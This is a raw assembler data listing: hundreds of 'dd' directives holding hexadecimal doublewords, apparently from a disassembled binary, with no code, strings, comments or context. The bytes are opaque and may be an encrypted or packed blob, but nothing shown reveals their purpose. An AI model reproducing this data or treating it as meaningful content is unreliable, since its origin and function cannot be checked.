		dd 0A628ACFBh, 0BE525D17h, 51C45804h, 0F4A6B107h, 206881CEh
		dd 0ED1770F5h, 9C328868h, 206A842h, 7142FA01h, 59406B92h
		dd 550423FDh, 0DBF74338h, 0ADE990D1h, 0E726A622h, 28690F8Ch
		dd 76DAEDDh, 318706EFh,	0DF31D5F7h, 858FD93h, 75242CD7h
		dd 7C0782ADh, 0BF20FB9h, 319B33F0h, 1CB39430h, 7125F9BEh
		dd 6054F416h, 61F77753h, 5B2CBA34h, 0E2021D4Fh,	0DC384CB3h
		dd 13B2C24h, 428D2B36h,	0BF843045h, 13E80C13h, 19288C21h
		dd 0C823CFDh, 1AAC4A95h, 2D2E1200h, 0E8012E02h,	52D809F2h
		dd 0D4435E07h, 0B03EC1CBh, 0F5E507F6h, 40C1BCF4h, 0C3482928h
		dd 444477FFh, 3B727BF1h, 7C7DEAh, 0AFAA21DDh, 4259CA09h
		dd 0EA56F6F5h, 567F0CB0h, 727B60E4h, 311737D5h,	0D8F8ECC1h
		dd 0D0451A6Fh, 17081C08h, 89036153h, 881C30C2h,	0F2D5440h
		dd 45C56F68h, 535DCD44h, 0DA027212h, 0C1232CE8h, 95E3C3FCh
		dd 5145081Eh, 8CAC08E9h, 3844B927h, 2F96ED0Ch, 0BC5CAB8h
		dd 1BA62DA4h, 808DE6Ah
		dd 272F1086h, 4B1BAF57h, 0D14CC9FCh, 327C50DDh,	13F4B013h
		dd 34D609FBh, 0D5750C85h, 9BEF61Ch, 0D1645568h,	66838383h
		dd 0CA346918h, 0D6040D7Fh, 1EFD875Bh, 3B5907D9h, 25686C02h
		dd 0C0067E53h, 814AD130h, 19FDC900h, 0D9F7784Ch, 338A33E9h
		dd 8CB9D32Bh, 8F80720Ch, 0D5AE9D83h, 44F52F6Bh,	89343D0h
		dd 0FAF8BAF3h, 0A29CD351h, 0ED8385B0h, 855115A5h, 0C150C6E9h
		dd 0F304A89h, 0C39D6159h, 90B21D84h, 1088D83Fh,	73637FF2h
		dd 0C156E12Bh, 0A43CDEBAh, 0E8E6D4E4h, 99E9B127h, 5E26A228h
		dd 5A120FF3h, 1B2304F3h, 8B0F134Ch, 4105062Ch, 0CA6B010h
		dd 4426165h, 64097066h,	0D8292A03h, 5808817Eh, 0AC20E83h
		dd 0C040268h, 177252B3h, 83A06CF8h, 1C9102C7h, 0B2E95F82h
		dd 51D0E90Dh, 12BFE2A3h, 0B4F40053h, 0E922C06Eh, 0D1193729h
		dd 0CCD7D06Eh, 7727E921h, 0C858C2B1h, 257ED630h, 78086CA9h
		dd 15F0407h, 522388C8h,	0E942C5B9h, 0D39EADAAh,	0C15563E1h
		dd 0F403F325h, 0D81FDFF2h, 4CD02916h, 0AF48305Ah, 8D0B9900h
		dd 0A7F3810Ah, 23C46513h, 0D803B209h, 7918C139h, 2070951Eh
		dd 771248D4h, 7741F792h, 4E8835Dh, 324C3D2Eh, 0EB023451h
		dd 54791BF9h, 2E68EC52h, 0D8F030D6h, 0C2646CE9h, 27B0593Dh
		dd 0B6A07735h, 0C30832DEh, 0BAF1E763h, 0F2258906h, 0D9F0827Ah
		dd 716C5A29h, 0FDCD147Ch, 367E8B01h, 0C1C7447h,	2F605D20h
		dd 0F404EAC1h, 0FE6B806h, 6C2CFCC2h, 3B0A5665h,	0DE59C331h
		dd 0E33A5548h, 9881B658h, 2C58B31Eh, 2066570h, 0D62AECC2h
		dd 7FBA4B2Bh, 6C53089Bh, 0DCE98296h, 13B7C45Ch,	0D4E8302Ah
		dd 50F85E2Bh, 0DD881DE7h, 0DD4B18D2h, 0BF83835Ah, 0D849034Bh
		dd 0E536866h, 0EE5C5BDAh, 0B2B95100h, 0AA422E3Dh, 6216628Ch
		dd 0FA0B0905h, 170320A6h, 281D76EEh, 660904F0h,	9EB165Ah
		dd 0C3866CB3h, 4508AD8Dh, 3BF7BC50h, 4E851A5Bh,	88D5F42Fh
		dd 0F27AFF4h, 0DF7B06EBh, 0F2293F10h, 0ABE2C898h, 88325EB1h
		dd 4C59FDCEh, 0D6F627DDh, 860E4E93h, 4BF48850h,	43AD59E7h
		dd 0FEF8D7F6h, 80775B66h, 84407669h, 18AC9A9Ch,	0E4EB0A7Bh
		dd 13E1B551h, 68B6B157h, 8B54C7ABh, 0E9A79049h,	27405A61h
		dd 4B51F97Ch, 0AD66E7A7h, 3EB16C94h, 2F16050Ch,	7E760BE1h
		dd 4F097D5Ch, 66100242h, 2B4AAB68h, 41DBE5CCh, 598D302Dh
		dd 5C79A1BCh, 9D844769h, 4300943h, 0AA8028ECh, 4BB05058h
		dd 38F1FADh, 0A92CD40Ch, 43B61E7Eh, 0B6E92B85h,	0FCEEE9B1h
		dd 0D1F70919h, 42B36280h, 0E913E010h, 51B36715h, 0F9330D04h
		dd 0D6418021h, 362CE310h, 2639FDC1h, 75A40E62h,	0ACC5D152h
		dd 1F648845h, 1414B70Eh, 0DAC94AE9h, 9F12E30h, 0D19E95Ah
		dd 8FF036C4h, 0FC541540h, 30FE4931h, 6808EF48h,	7526559Fh
		dd 870A451Ah, 926E9E9Bh, 4029FCF4h, 831CAD6Eh, 0F0F207Fh
		dd 3CD0F684h, 303859EEh, 720C4557h, 3D4F5C63h, 35187105h
		dd 17686088h, 14579A7Bh, 4AB2539Dh, 0A4402876h,	2F667726h
		dd 0E5EAA6E9h, 1EFC9CC8h, 45735B2Eh, 5F211902h,	9E668211h
		dd 467B226Dh, 0E2B35300h, 5D357AB0h, 8D4B2FD7h,	0E7A56073h
		dd 4EB96304h, 5784F501h, 0D5CA0812h, 76E95704h,	0E5B0C27h
		dd 589AA9E4h, 3166623Bh, 2F9BFB69h, 59CBF846h, 636D0FB4h
		dd 0ADC6315Ah, 88133D67h, 0AAF3872Ch, 0CDE8D14Ah, 0F05F06F1h
		dd 666B4E22h, 0CC9068FDh, 2737A12Fh, 2DF206BDh,	288FFC2Bh
		dd 1CD49AF3h, 0FCD0F793h, 296C1696h, 340B30D7h,	96695C9Ch
		dd 4F8376BEh, 5C830202h, 0D495FE9h, 3804D4BDh, 47BB5103h
		dd 0FAADD63Bh, 1E83CBDDh, 0FC170F8h, 527F015Dh,	0F067C5FCh
		dd 0B6C15BAFh, 37AA3474h, 423FDDE9h, 0FC7827A8h, 0B01B5D4h
		dd 0E9B740D7h, 9D5539CDh, 68C11584h, 277AF32Eh,	2818118Fh
		dd 0F981F0D8h, 962F5082h, 886489B4h, 0F71D7482h, 8EB7329h
		dd 1091C82h, 0FFE285DFh, 0C02C1EA8h, 86273CFEh,	38EED348h
		dd 0B4779804h, 4C2F309h, 0E0028FD3h, 880FFECBh,	0D5E91658h
		dd 0B1F7E246h, 6553CF67h, 0CE14B552h, 6D4718EBh, 4C5DEB97h
		dd 5B887153h, 6841DC48h, 493C1AC8h, 515E5482h, 4E097FE0h
		dd 0C74C1624h, 890D0D19h, 0DFF34430h, 6B26583h,	6FF72E82h
		dd 7329DDAh, 0D4FA8729h, 715E6C17h, 387F2602h, 4C01D2E9h
		dd 4A199525h, 0D8AD2254h, 0D19D790h, 0D32D21F0h, 5821200Bh
		dd 64375ACFh, 6BF073DFh, 639002Bh, 503AF781h, 4F600E9Eh
		dd 0AF14560Eh, 1C7FA20h, 49880D3Dh, 87658CE9h, 21B5B88Dh
		dd 0A87D024Bh, 68C00ECEh, 14904665h, 373ED4A0h,	4BF2FB1h
		dd 29EE0926h, 0D0F1DF80h, 0BC54480Dh, 44E9CA05h, 0EA54D01Bh
		dd 8827533Ch, 0ECEBE2D3h, 3EF62F7Ch, 1002BE49h,	17CFC681h
		dd 136D9363h, 0C0C01AFh, 0F82BB210h, 420296C9h,	0A2E93BCAh
		dd 7A7DC862h, 6A98B55Ch, 8080F9C3h, 68CE48CAh, 42F1632Eh
		dd 0AD0A55D8h, 3882F29h, 0A5EA31B0h, 96598971h,	0BE171853h
		dd 0DB5B0255h, 0DC7CE940h, 20D5A049h, 0C69C4642h, 9C14AC16h
		dd 227200Dh, 0BC049124h, 0BFED10Ch, 0DFC5AD12h,	0CC5A5322h
		dd 16838F9h, 0BCC6344Fh, 57C1A4D3h, 3D65329Fh, 160C9800h
		dd 0C7060DAh, 48060A1Dh, 0C4A21290h, 8B35080Ah,	2F62B1E9h
		dd 0A35A6264h, 0FF761A12h, 81A8B592h, 3C9A0095h, 6C017E5Eh
		dd 94B6129Dh, 0C5E92A8Ah, 8CBA3EB5h, 8A6E2A1Eh,	88A82425h
		dd 0BF6F32C4h, 81C04FA6h, 74E7FF6h, 0F031ECC8h,	6E003B5Eh
		dd 125115EAh, 0C2292502h, 643AE6E9h, 9552EE43h,	0E0D30B0Bh
		dd 498BD712h, 0C437E917h, 754BDD00h, 0C62588A3h, 14B16CDh
		dd 8ADA08ACh, 3347703Ah, 37E7C9C4h, 4380BE33h, 0F0B43F3Ah
		dd 542766C0h, 0E2810137h, 4BC67DE1h, 571B6042h,	386DE5E1h
		dd 0D27218E8h, 757ABA70h, 30BF7AFBh, 0BB14D994h, 0E81236AAh
		dd 0C4D04B0Eh, 3B2FB4C3h, 0F3061873h, 0C6E2D38h, 67952FEh
		dd 397240h, 291DD577h, 0EAC15BDAh, 0F204037Ch, 7BC64FCFh
		dd 0B9A0FEF8h, 0B7127856h, 8DC73129h, 5F162779h, 0EAD8E099h
		dd 1A6C7DEBh, 0CCDA011Ah, 8820809h, 3000AA13h, 0F8058C5h
		dd 0EF20EEF5h, 29782DA9h, 8481493Bh, 65924DBEh,	60CE6FC0h
		dd 314412ACh, 0C2771CC1h, 0A159A897h, 0E92F5C50h, 5DCD861Ch
		dd 46C50382h, 4D1F7942h, 2F6369F1h, 52D4CE41h, 0C807D70h
		dd 23D62CFAh, 0C798F801h, 63BA3B95h, 0F9310A98h, 2ACB87B9h
		dd 5BAF5D8Ch, 0F18E90A9h, 0F41842AAh, 0DA9E4156h, 15192527h
		dd 8901E6E1h, 7B082940h, 47BAB198h, 66488ED7h, 0D834953h
		dd 96010E9Ah, 873C29ABh, 7F45B7F0h, 4CE9C50Dh, 423F43F4h
		dd 412F689Eh, 6424CCD9h, 0E941CFCAh, 34661059h,	0B0B52348h
		dd 0C94009A9h, 0CCE1ED56h, 9C0532h, 0B05059E8h,	0B52F510Ch
		dd 1F0AE969h, 38D1C5CCh, 0A45DE953h, 9D125475h,	27F8B8h
		dd 2A255F67h, 550E209h,	4B78AF04h, 92C1F7D7h, 4D7D2ED6h
		dd 464168C3h, 0BF94D27h, 4DE15A59h, 68095554h, 0EB30602Dh
		dd 0A2B73ADBh, 1EBAB5h,	93130EBFh, 0CC001A5Bh, 61D33751h
		dd 420A32E9h, 0B0575C22h, 0A414F690h, 0BE38552Bh, 8B41053Fh
		dd 3C553DEh, 5E3699A3h,	0E6F831B1h, 2F41314Ah, 79DE3642h
		dd 0EEAE3A24h, 39086D82h, 9277A57h, 3A7E0502h, 79BECD0Fh
		dd 73DE080h, 5AD629A3h,	0C0E95F12h, 908C12C4h, 4C0E2CF3h
		dd 7CCE00E5h, 0E9253473h
		dd 9D064120h, 5E037280h, 680666D6h, 4D107FD1h, 0C17254Ch
		dd 6EF6944Eh, 2120435Fh, 751068h, 0C15807DDh, 0EE2505E8h
		dd 64E51E00h, 0B46B2D48h, 89D8267Bh, 0F1A70BC4h, 15EC18C8h
		dd 0C625B30h, 1A3A148Ah, 0EAC20152h, 3B500809h,	26950C1Bh
		dd 430685A8h, 134AD18Ch, 0E2C8B60Fh, 0DA21C616h, 0D8312F22h
		dd 0EEC0EA40h, 124EBE80h, 86AD927h, 974A377Bh, 0CA206B28h
		dd 165E5AB0h, 30070878h, 93835A3Ch, 89099CD6h, 1F4D5B87h
		dd 0A434A844h, 227C1565h, 0C9C1515Ah, 78DAAC7Dh, 30A0BCFCh
		dd 0DEF70706h, 3201EFE5h, 7767F3FBh, 22242EE9h,	9DB70053h
		dd 28E4EF80h, 88245BFCh, 0A03B11E5h, 309580B2h,	4B372674h
		dd 208E24AEh, 8C1CC108h, 645F071Eh, 0D65DC982h,	38E10271h
		dd 0C115B450h, 0F0528B5h, 0C7C742D8h, 537F0E2Ch, 4D4EA05Dh
		dd 0D0F7950Bh, 71F68255h, 595402B5h, 0C45BE440h, 229C7292h
		dd 29A72A89h, 4D740E82h, 293E31EBh, 6A4A133h, 10C25244h
		dd 32FF0353h, 5D550E67h, 25CDC4EBh, 0E46D6D40h,	0E1318E37h
		dd 4A6450E9h, 2AD39233h, 0DFA4F3Fh, 6AE0E181h, 0D79CF00Ah
		dd 0C87601F4h, 0E114B85Fh, 5706076Ah, 15D156BFh, 0E1C6471Ch
		dd 68002AA7h, 1F9726F9h, 1EE90D32h, 763320DFh, 8D3AF828h
		dd 5296C14Fh, 5EA99D0Ch, 0EC9518A2h, 59C86748h,	35E66814h
		dd 8EE9C23Bh, 31E90C45h, 690D06DAh, 9C692953h, 5BA65810h
		dd 0F0FDB0CDh, 80D2C860h, 0F578305Ah, 27C5EF2Ch, 0F69724CFh
		dd 0A12560B9h, 54985452h, 53356812h, 0E9F055ACh, 0AC40344h
		dd 0D1E3C828h, 530B2C02h, 0C4D1B0B3h, 51403A37h, 7A88EAB1h
		dd 30591FCCh, 1781A4E3h, 0F2C2B575h, 0A5ED6BA2h, 0EA49110Ah
		dd 9FB057F7h, 0A6B5D366h, 133D482h, 70B9515Ah, 6027C611h
		dd 7B0508E1h, 0CB010622h, 0CDBFCC81h, 558C8704h, 9FA7F368h
		dd 28AB0B8Ch, 8DF55E21h, 0DC46FCAAh, 0A36096AAh, 38D42261h
		dd 566802ABh, 54598820h, 1A51668Ah, 0A66BEF04h,	0EF80586Fh
		dd 4839699Fh, 7C27C517h, 0F75A3C84h, 2086762Bh,	0D1020A7Dh
		dd 8F6852E2h, 8ACA5931h, 8BCF3E25h, 0CDD1B735h,	0A154568Ah
		dd 67D65E9Fh, 92B7A057h, 0C942B83Bh, 1F7EDA32h,	0CF7DFAEDh
		dd 5D89012Bh, 64AD13D9h, 52A8BC52h, 70A4D712h, 0B1108051h
		dd 209E07E9h, 0CBA4571Eh, 0C96F780Eh, 1EA6F81Ah, 565097E7h
		dd 1CB90142h, 0F96A0F7Ch, 0FCB944D7h, 0B3CA5B70h, 0B580C85Eh
		dd 8C2AFB41h, 6C9D5CCAh, 0A4BA2B0Fh, 82521294h,	0D3F354E2h
		dd 0C9F85045h, 28D31EA4h, 3BCA2A97h, 48E5F6E5h,	924B206h
		dd 0B0745231h, 0A0B49672h, 80A73157h, 6813BFB5h, 0F1F67252h
		dd 0F8C06225h, 5B4CFD30h, 18C774FEh, 58B468F9h,	87C411BCh
		dd 0BD590FF1h, 8F0D57CCh, 489B3CEEh, 8A6FAEh, 5E5C0FA2h
		dd 0ECE7F089h, 0F49EF20Ah, 0C8FE0880h, 0E4F58851h, 4E5598C6h
		dd 48E18E2Eh, 71DA308Eh, 0B01B252h, 8B1F280h, 0E0C0C503h
		dd 0E27534A9h, 90CC045Dh, 617A08E1h, 48B30F9Bh,	0A340E2D8h
		dd 61010968h, 925046DBh, 7A67D770h, 0C619BF72h,	82E3FA70h
		dd 51B08F40h, 0A62B8C3Dh, 96B0AFE0h, 19EAC06Eh,	0ACAFE05h
		dd 0A5944407h, 0C0F5F52Ch, 8F61797h, 94B5AB92h,	0D4EA90CAh
		dd 1F10D49Bh, 0F7311F4Fh, 1C856453h, 0C45ED6E3h, 1C62EB82h
		dd 734556CFh, 30EBB4h, 0BC4EE6E9h, 7B5866F4h, 6277B0B0h
		dd 435819B8h, 8660356h,	0ABE9F15Ah, 2C241EF8h, 7C0E459h
		dd 0C6D8288Dh, 6816125Bh, 0FC272D3Ch, 0C6A8CA74h, 80BDB7C0h
		dd 0FE3A37CFh, 1EF782C7h, 4008EFC0h, 90280134h,	0A2049D40h
		dd 580B83F4h, 51121579h, 0F6178EB5h, 0C55B350Eh, 0F2BDA7F6h
		dd 0ECD283CEh, 6F109207h, 0E15BC5AEh, 77F9182Dh, 5D276368h
		dd 0F9D501B1h, 0D7002EF2h, 8A4A9A2Dh, 0D0291451h, 5A3B0705h
		dd 0EF17DE01h, 7C6DE914h, 5EBD2EB6h, 0E1D52CC5h, 0FA84FFA9h
		dd 0A1CCCC5Fh, 16418BBFh, 0E91CED18h, 46DF0625h, 0B8EDE522h
		dd 851F5C55h, 6802ED81h, 967C6D42h, 9415E985h, 3ED1ACE0h
		dd 0EE714B5Ch, 0DE6C10E9h, 58F08A5Bh, 67623108h, 0E202454h
		dd 0A756965Fh, 0D5E9B0C0h, 0CB275A9Ch, 397D5F2Dh, 0E3222A50h
		dd 81A170E2h, 83879899h, 9B29685Bh, 11020373h, 422D6E7Ch
		dd 97F0504Ah, 109FB16Ch, 4180E953h, 9E3D3066h, 4DB87C17h
		dd 37AC5984h, 10BA8720h, 3FBD5512h, 57181E04h, 6CCF8780h
		dd 0BF2B1DB5h, 2C1680C5h, 315BDF29h, 0BFE9CC95h, 0C8CB0B0Fh
		dd 0DCDA33BBh, 0BD1FD7AEh, 73CF28A8h, 0F5801CFEh, 0B8EDC213h
		dd 0BC5CFAE9h, 1E596804h, 9A1FB8D8h, 92053CC0h,	2D6B8801h
		dd 0F201188Bh, 0F698A956h, 0B9FF663Fh, 0A16E0D66h, 20643B78h
		dd 94A57585h, 16DD9A2Ah, 0F791F9F7h, 0FE00AEF8h, 0C65080CEh
		dd 0BC4033D0h, 18D405BAh, 0AC01107Ah, 132F205Fh, 0B0DB2C5Bh
		dd 5762A2E4h, 1B6CB6DBh, 0B5D495C2h, 8230CC69h,	92D1F9ADh
		dd 58A3F07Ch, 71499BB1h, 0F805E018h, 1B5C455Bh,	25A749C3h
		dd 0FE86145Fh, 67676A79h, 3E263C0Ch, 20BAD2Eh, 339091F1h
		dd 441CE913h, 0C3DDF66Eh, 0A3D32959h, 0D34E37BEh, 80588B20h
		dd 0D7C15FC3h, 0D6825B44h, 0AC0132B5h, 92E00B04h, 2CE993E6h
		dd 0C089A112h, 27235F8Dh, 7D0CEFFCh, 40F53410h,	6E1D43Fh
		dd 0C7CFC473h, 4769C058h, 54142D53h, 16C4F281h,	4B015FC9h
		dd 0BE43B43h, 27D7E9A9h, 574EDFECh, 5DA0A13h, 0FD098C5Ah
		dd 68454626h, 1B41220Bh, 84F41A31h, 2FD6E4CAh, 0DABB96B0h
		dd 25FB5C40h, 8CA9D617h, 19669B80h, 5A20D1C9h, 6848028Ah
		dd 3EA97F0Eh, 0A7F7CB87h, 6D095B15h, 88526B60h,	2025CE4Ch
		dd 0D8012FEBh, 0D22A34EEh, 329D3146h, 52C3C280h, 6EB04CAh
		dd 0AD77B817h, 8B084195h, 91666272h, 0D33BD1B4h, 6225CFE2h
		dd 8B0E0590h, 8E25DEF9h, 385CA9C9h, 5835275Bh, 93DBB345h
		dd 0E6FD655Bh, 0F7037C6Fh, 2921BB79h, 8A040D3h,	0D4CC30E9h
		dd 1D4BC14Fh, 2295B5E2h, 2E16EE5h, 0EE655E54h, 0D168A9ADh
		dd 96E99DE1h, 0ED442907h, 2F7625FBh, 0F9E5538Dh, 5CB6B570h
		dd 0FA1007CCh, 0DBE98234h, 2DFFA0A8h, 52A6C97h,	63403568h
		dd 0D872C253h, 5650F9F4h, 72910268h, 8FE97D4Eh,	310EDF54h
		dd 0B37E4C5h, 0AC0D54EFh, 0D81E9838h, 0A222E5Bh, 0A59855E9h
		dd 0C7C16062h, 38923DECh, 22A4905Dh, 8018451h, 0B348F9E9h
		dd 0CC5867C3h, 20E8B5C0h, 2B9DC5D1h, 9916CE3Dh,	0E5AD596Fh
		dd 2DC7DDDDh, 4A10B924h, 0BBB551C4h, 0EE23DBD2h, 0D7F5054Fh
		dd 17922947h, 0FD8BF5E2h, 5057341Dh, 726EEBB1h,	59441A56h
		dd 26B81431h, 5C7CA96h,	73582E6Bh, 3BB79AE0h, 54DC652Dh
		dd 9314DB25h, 1E3CD32Ch, 0A59E508Ch, 0A72201EDh, 0EE31A96Fh
		dd 0B791605Dh, 3B301FF0h, 59E91221h, 70B9C9h, 176C04A5h
		dd 0F736CF87h, 4E7008D1h, 0E9D0522Fh, 38341693h, 58810EB2h
		dd 11064968h, 0E2070ACAh, 31C028FCh, 668060D2h,	0FBAAC450h
		dd 0F4CE409Dh, 0A03B727Ah, 728406B8h, 9DE91304h, 0E5DE571Bh
		dd 7C1CD32h, 0E206E132h, 252A746Ah, 3B289CC5h, 7E25752h
		dd 9990DA5h, 0ED40E1B5h, 231F2D5Eh, 1370A53h, 90705F8h
		dd 0B72F69E9h, 8A02CE88h, 0DE136755h, 2C5E04F9h, 0A0CB8116h
		dd 795B03D5h, 0A451582Ah, 4286B52Eh, 904E0BDh, 7A4404FAh
		dd 4CA1812h, 7DBA80B2h,	31873209h, 0CA2E7489h, 9580997h
		dd 0D07308h, 6F063EFDh
		dd 414E3BE9h, 6809DDA7h, 21302CD4h, 67283099h, 44FEE602h
		dd 5B8C084Ah, 854818A5h, 0A2AE00Eh, 814E0738h, 821B951h
		dd 0E1F425FBh, 267518F7h, 10CD0C74h, 0C12B7605h, 0C10B06E9h
		dd 0A48BE008h, 9783E463h, 520F05C3h, 81F88DFBh,	43E9F129h
		dd 9040D76Ch, 81BA4075h, 671AF604h, 18ABD9D6h, 0C0E906D2h
		dd 4A4DAF5Fh, 772A2D2Bh, 424ED297h, 0F287A055h,	0A8C208CFh
		dd 1A490393h, 24F386Bh,	0B9BB3741h, 2B4C8042h, 0EB31682Fh
		dd 0CDC905Dh, 1B3E6033h, 0AC414F98h, 1B58A927h,	0AC48D989h
		dd 641EAFF2h, 29D54315h, 2FB416E2h, 0EEB7187h, 8059C05Eh
		dd 25E9C8EEh, 0F4F2B9A7h, 8F09FB83h, 8508EBC1h,	0C071CDh
		dd 0B0D9895Eh, 9BE1071Dh, 0F0774C07h, 8C29E0F1h, 2BDA3060h
		dd 0B83EA17Eh, 7BAE096Bh, 88E06644h, 0ABB1616Ch, 73585489h
		dd 0BED70870h, 7F05B14h, 0CB640E6h, 0D653C5C2h,	1FE15374h
		dd 0B46060Fh, 0B4D7882h, 0E7006070h, 3132B2DEh,	0D6685DEFh
		dd 99E7F433h, 79100E72h, 2C2A3C29h, 2870B00Ah, 0EE2C2712h
		dd 7EE71F11h, 0D7940945h, 0E6C39FC9h, 3FF00104h, 20C0411Bh
		dd 4F0999A9h, 83F70DA6h, 59B76E28h, 0B392BED7h,	0AC7298ADh
		dd 6FA2676h, 215F028Dh,	0AC8717E5h, 10EAD3B3h, 36F6E000h
		dd 0FD0123C2h, 3865B556h, 6F3D1983h, 0C3CDF078h, 0FEF9616Bh
		dd 0F553BEE5h, 4546815Ch, 89B79818h, 97B4B334h,	9FCAFCB3h
		dd 537F57D8h, 0CB00094Fh, 123F1B2Dh, 0E8011406h, 825B0705h
		dd 29605100h, 1FB2504Ah, 0F516CF9Eh, 812F99F5h,	0EC08EF2Bh
		dd 34B41156h, 8B1F33E4h, 0DCE8F944h, 0C95CBDC3h, 48BA19D9h
		dd 0F2C0F133h, 1DAF9F8Bh, 0D03D9AC5h, 67F5806Ch, 1D85E095h
		dd 0FE5EC7C0h, 2E153C1h, 9D86F1F9h, 92BD0816h, 8105886Ch
		dd 28AEF6FDh, 9F6EE813h, 9AF7A616h, 115A480Ah, 53160A20h
		dd 6A844DB7h, 5DDBD1C2h, 45572B19h, 0E429ACCDh,	2292A3F2h
		dd 7D58551Ah, 0EFE03BB5h, 0CB88B974h, 9F3FC07h,	0ED47FE1h
		dd 2D073974h, 0AE81FC5Ah, 183A95E9h, 0D9F6F891h, 5CA9F6C9h
		dd 1A7D5218h, 7C466270h, 444F1230h, 0EC4627D9h,	890CB205h
		dd 9B7F8506h, 26BD4395h, 750D4E04h, 61388762h, 206EC750h
		dd 0B301CDCCh, 521B555Ch, 0C85FBBAh, 0E889E97Bh, 66050100h
		dd 5661ED1Eh, 1E22280h,	45E96728h, 0C3CA414Ah, 0C8773A12h
		dd 517A565Dh, 0F7A18F4Eh, 0D9FE0941h, 5501B74h,	3140585Fh
		dd 0B6C782C7h, 88E9590Bh, 420014E7h, 3238BE56h,	816A0B6Ch
		dd 5C8590E6h, 0ED058022h, 72097F25h, 585EF229h,	0DAF7268Bh
		dd 3FC201F0h, 200453F3h, 429DF881h, 88235E59h, 0A528A61Eh
		dd 3EAF7020h, 5B97E6D1h, 0C3B4E32Ch, 7A0C8268h,	1408BEA3h
		dd 327DF7ADh, 221B3CD9h, 5417797Ch, 0CBF4CD99h,	0C034C7B8h
		dd 0E763BEEFh, 0C3B28007h, 274B8076h, 923933F1h, 377643h
		dd 3826707Bh, 126E94Bh,	76476FE1h, 0BA1B1F30h, 310BC34Ah
		dd 0DA1058C2h, 0BE4CB9B6h, 0C8118062h, 25950888h, 0F15863D8h
		dd 277C3D77h, 40754202h, 9F3F963Fh, 2722CAECh, 5687820Fh
		dd 0A9AF0B71h, 0D3628D56h, 47CF749Bh, 36CDC755h, 52D525Eh
		dd 46A2D143h, 33B70D15h, 74BBB4F7h, 8A940E0Ch, 129667Fh
		dd 58E923CFh, 9F9D3AFFh, 4888CB3Eh, 7B005E06h, 8301CBBDh
		dd 52503247h, 0C24FB42h, 91238324h, 52B17040h, 0F6E8B60Bh
		dd 85AF74DEh, 2C6FED5h,	0F4881F07h, 30516E56h, 0E91F2C6Eh
		dd 0F3F14825h, 90688464h, 8B8EA20Ah, 0BD6458Fh,	63E427A8h
		dd 0F5015E7Fh, 1A5A418h, 8650E821h, 0B65B5453h,	8172527Eh
		dd 8944094Ah, 0EF8006EDh, 0F574FE4Ah, 0AAC7C4F8h, 0C94B7CEAh
		dd 16491576h, 0C9A4B45Ch, 0F6098F54h, 0C9213333h, 496EEC41h
		dd 91E3B491h, 50665397h, 2A28F4C1h, 611F019h, 2AE2E901h
		dd 0C1852684h, 629988E7h, 605902E2h, 2669D87Dh,	0EBF64556h
		dd 3EF6581h, 0CE8C7062h, 0EB572F0Bh, 1E3875Ch, 4BBA679Eh
		dd 0E9C14907h, 0BB363F24h, 0F4941464h, 0A0BC316h, 5098080Bh
		dd 89501271h, 5F0CF0F8h, 0E918EAF4h, 6896F0A1h,	88234EF6h
		dd 0CD9757A8h, 2F7DA918h, 2E932C9Ch, 2C15394h, 12BF2279h
		dd 0EA907542h, 170EA465h, 3C25E9EFh, 58CA5F38h,	0B0408F69h
		dd 0EFD32D82h, 20C63ECh, 440E3726h, 0C813CF80h,	0DC26AED2h
		dd 5E09031Eh, 0E99C74DEh, 0C6F64FB2h, 6F30C260h, 2918171Ch
		dd 82910CAh, 0F16BE912h, 0D1656E27h, 0E9D830BBh, 25B715EDh
		dd 0A8401F21h, 0DE09ADBFh, 7C290536h, 0BB5F0824h, 50963F0Dh
		dd 0DCF5D36Bh, 98C2114Ah, 253E7C56h, 0F15A250Bh, 8F81417Ch
		dd 5B6FDA89h, 983F7C59h, 0F5C95C8Ah, 96771ED0h,	0D8EACBCDh
		dd 0AF2F0652h, 39048EBh, 217D037Fh, 6C24DB8h, 6BCEF1ECh
		dd 3254AC0h, 11EC68h, 60F10540h, 0F6351028h, 204A29EAh
		dd 781F4E0h, 76A96C5h, 58F5B604h, 70017F02h, 68D1F761h
		dd 1E1FF1E4h, 585B2615h, 43A810E1h, 0E970AB04h,	41F4C485h
		dd 0F14F58E2h, 0ECC7844Ah, 4F54449h, 312A21E2h,	0D9F0F62Fh
		dd 50405216h, 8428C7D6h, 1C28D00Ch, 4458BA90h, 0AECC7084h
		dd 5C294977h, 5717454Ah, 1DF95C5h, 0C521D7A5h, 487D7166h
		dd 923DB8BAh, 6C29331Ah, 0D758FA06h, 5A0B2033h,	0E695EFE9h
		dd 4EEE9042h, 68ADCC3Eh, 51489A2Eh, 90C55465h, 431F3080h
		dd 5F7B7CE6h, 0C22C0F5h, 1A50C92Fh, 5D14CB99h, 2EC454A3h
		dd 0D0129B30h, 4A96DA00h, 7E017C04h, 841E5EFh, 0A52D565Dh
		dd 3B1D884h, 3BACCD80h,	0ED1EA806h, 78F5479Eh, 0F80764C0h
		dd 0F1C50393h, 0F177B353h, 0F3E508CBh, 0AC2706BBh, 87311705h
		dd 13C61B9Bh, 0C6651E0Bh, 5A6CF0B4h, 0CB65B229h, 0F4188051h
		dd 215A27Fh, 36917905h,	0A37E89EFh, 5342E101h, 8A4038F4h
		dd 7CF769F0h, 84EE047Ah, 0EEC7AEE9h, 0E431340Bh, 0CA059A7Ah
		dd 9A3AF58h, 6E07483Fh,	0E951D107h, 77D73CF0h, 0E15E1B95h
		dd 5E2EAD19h, 0F1232A2h, 4FDBE0ABh, 0F2333709h,	90445ED3h
		dd 42D5EA92h, 10347948h, 5A3B94F3h, 4B7B74BCh, 432F54Dh
		dd 4492413Ah, 6F7AA70Fh, 42511B28h, 0C9B34AB9h,	0FE044D25h
		dd 63945Dh, 674C2C8Ch, 6B9F017Dh, 0E62E481Ch, 0E90283E2h
		dd 17FFC5Ah, 0C680E628h, 12E967B0h, 75F9D9F5h, 70A068B0h
		dd 4216C59Fh, 10D5B375h, 0C9A8EB59h, 977C32C2h,	0C61164EFh
		dd 403C7FA4h, 36F85BC1h, 0F324BE5Bh, 0F64882B8h, 3D6B925Eh
		dd 9A68B6ABh, 848E8C1h,	2B502C08h, 0A1550DCCh, 0BA145121h
		dd 0AAF48056h, 7A66975Fh, 474DD25Bh, 843F6909h,	8E34EF3Bh
		dd 57E9B34Fh, 0BF66984Ah, 0A69E8ACFh, 6C685E98h, 0F8EF71F6h
		dd 0E17EB2DDh, 3EEA10D7h, 25485298h, 0C17A8D63h, 436EB1E1h
		dd 8BEB21EEh, 4A7BCEDDh, 0FD9A28D1h, 54522E8Eh,	0F9F32E6h
		dd 4E3348C9h, 15429569h, 50FE94D5h, 0BC52675Ch,	0D7532563h
